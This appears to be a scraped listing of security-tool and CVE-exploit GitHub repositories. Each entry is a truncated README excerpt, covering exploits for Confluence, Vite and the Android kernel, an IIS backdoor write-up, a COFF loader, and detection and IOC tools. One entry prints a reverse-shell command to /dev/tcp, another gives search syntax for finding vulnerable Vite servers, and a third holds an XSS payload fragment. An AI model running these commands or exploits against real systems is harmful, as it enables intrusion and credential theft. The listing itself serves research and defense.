Netbox-CVE-2023-37625

Netbox-CVE-2023-37625 Description A stored cross-site scripting XSS vulnerability in Netbox alert1' 3. Add a new model, in this example add a 'manufacturer' model. 4. Open the newly created model as any authenticated user, and observer that the alert box has executed...

Pentest-Cheat-Sheet

Pentest Cheat Sheet There are many cheat sheets out there, but this is mine. It's a work in progress right now, and lives as a rought draft that's updated a lot , at times. I started this while I was studying for my OSCP, but it's now evolving to include more practical things that I need as a red...

strelka-ui

Releasesrelease | Pull Requestspr | Issuesissues !GitHub releaseimg-version-badgerepo !Build Statusimg-actions-badgeactions-ci !Pull Requestsimg-pr-badgepr !Slackimg-slack-badgeslack !Licenseimg-license-badgelicense The Strelka Web UI is a browser and API-based file submission frontend for the...

CVE-2026-24136-Lab

CVE-2026-24136 - Saleor GraphQL IDOR / Unauthenticated PII Exfiltration Overview Field| Details ---|--- CVE ID| CVE-2026-24136 Vulnerability Type| IDOR - Authorization Bypass Through User-Controlled Key CWE-639 Software| Saleor e-commerce platform Affected Versions| 3.2.0 - 3.20.109 · 3.21.0 -...

CVE-2023-34853

CVE-2023-34853 This repository is used to disclose some details about CVE-2023-34853. The vulnerability appears in Supermicro motherboard X12DPG-QR 1.4b and will be fixed in version 1.5. In the SmcSecureErase file GUID: 2B7C2FD1-C1CF-AB1D-C3BB-D1D691FB131E within the BIOS firmware, there is a sta...

elfxtract

ELFXtract ELFXtract is an automated analysis tool used for enumerating ELF binaries Powered by Radare2 and r2ghidra This is specially developed for PWN challenges and it has many automated features It almost displays every details of the ELF and also decompiles its ASM to C code using r2ghidra...

CVE-2025-30208-EXP

CVE-2025-30208-EXP Vite development server arbitrary file read vulnerability CVE-2025-30208, with wide coverage, simple exploitation, and no restrictions, posing a huge threat! Fofa search syntax: body="/@vite/client" Hunter search syntax: web.body="/@vite/client" Exp script usage -u to check -p...

CVE-2026-44578

CVE-2026-44578 — Next.js WebSocket Upgrade SSRF Pre-authentication Server-Side Request Forgery in Next.js self-hosted deployments. A single crafted HTTP request extracts AWS credentials, secrets, and internal service data from localhost:80. Field| Value ---|--- CVE| CVE-2026-44578 GHSA|...

XPRTestSuite

XProtect Remediator Test Suite A collection of scripts and documents to help future XProtect Remediator XPR research, presented at Black Hat USA 2025 About This Repository This repository contains: The scripts to create harmless minimal files and processes that reproduce the remediation of each...

IIS-Backdoor

IIS-Backdoor In this article I will explain how I designed a rootkit for Microsoft Internet Information Services IIS.The question is: why a backdoor in a web server? First obvious but useless answer: because we can. Ok, let us give a more clever answer. The purpose of backdooring a web sever is...

chronomaly

Chronomaly Chronomaly is a kernel exploit for the Android / Linux kernel using CVE-2025-38352. The exploit was written specifically for Linux kernel v5.10.157, but should work against all vulnerable v5.10.x kernels, as it does not require any specific kernel text offsets to work. I covered the...

pe-signgen

pe-signgen Cross-version binary signatures and RVA offsets for Windows PE functions Overview pe-signgen is a tool for reverse engineers and security researchers that automatically generates: Binary signatures byte patterns with wildcards for unexported and exported functions RVA and file offsets...

adobe-flash-cve2018-15982

Adobe Flash CVE-2018-15982 This script creates a swf payload for CVE-2018-15982, which is based off of the PoC from https://github.com/smgorelik/Windows-RCE-exploits. The vulnerability was discovered by Chenming Xu and Ed Miles of Gigamon ATR. The vulnerability is a use-after-free flaw enabling...

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Detection Artifact Generator for Oracle E-Business Suite CVE-2025-61882 See our blog post for technical details Detection in Action python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command 'bash -i & /dev/tcp/192.168.1.10/4444 0&...

reposcanner

Reposcanner Reposcanner is a python script to search through the commit history of Git repositories looking for interesting strings such as API keys, inspired by truffleHog. Installation The python Git module is required python3-git on Debian. Docker docker build -t reposcanner . docker run -it...

HAFNIUM-IOC

HAFNIUM-IOC Hafnium-IOC is a simple PowerShell script that runs on Exchange servers to identify indicators of compromises IOCs from the Hafnium activity release by Mircosoft on 2021-03-02 https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/. The script may be...

JQShell

JQShell A weaponized version of CVE-2018-9206. Disclaimer Using this agianst servers you dont control, is illegal in most countries. The author claims no responsibility for the actions of those who use this software for illegal purposes. This software is intended for educational use only. No...

Atomic-Red-Team-C2

DESCRIPTION ARTC2 is a modern execution framework that helps security teams scale attack scenario execution from single and multi-breach point targets. It intends to produce actionable attack intel that improves the effectiveness of security products and incident response. OS-SUPPORT Windows OS...

CVE-2023-22515

Red Team Tool - Confluence Unauthorized Add Admin User CVE-2023-22515 Exploit Tool Vulnerability Scope 8.0.0 = Confluence Data Center and Confluence Server = 8.0.4 8.1.0 = Confluence Data Center and Confluence Server = 8.1.4 8.2.0 = Confluence Data Center and Confluence Server = 8.2.3 8.3.0 =...

NiCOFF

NiCOFF Basically, NiCOFF is a COFF and BOF file loader written in Nim. NiCOFF reads a BOF or COFF file, parses and executes it in the memory. Whole project is based on Yasser's and Kevin's COFF Loader projects. Both the loader and beacon functions in these projects were rewritten in Nim...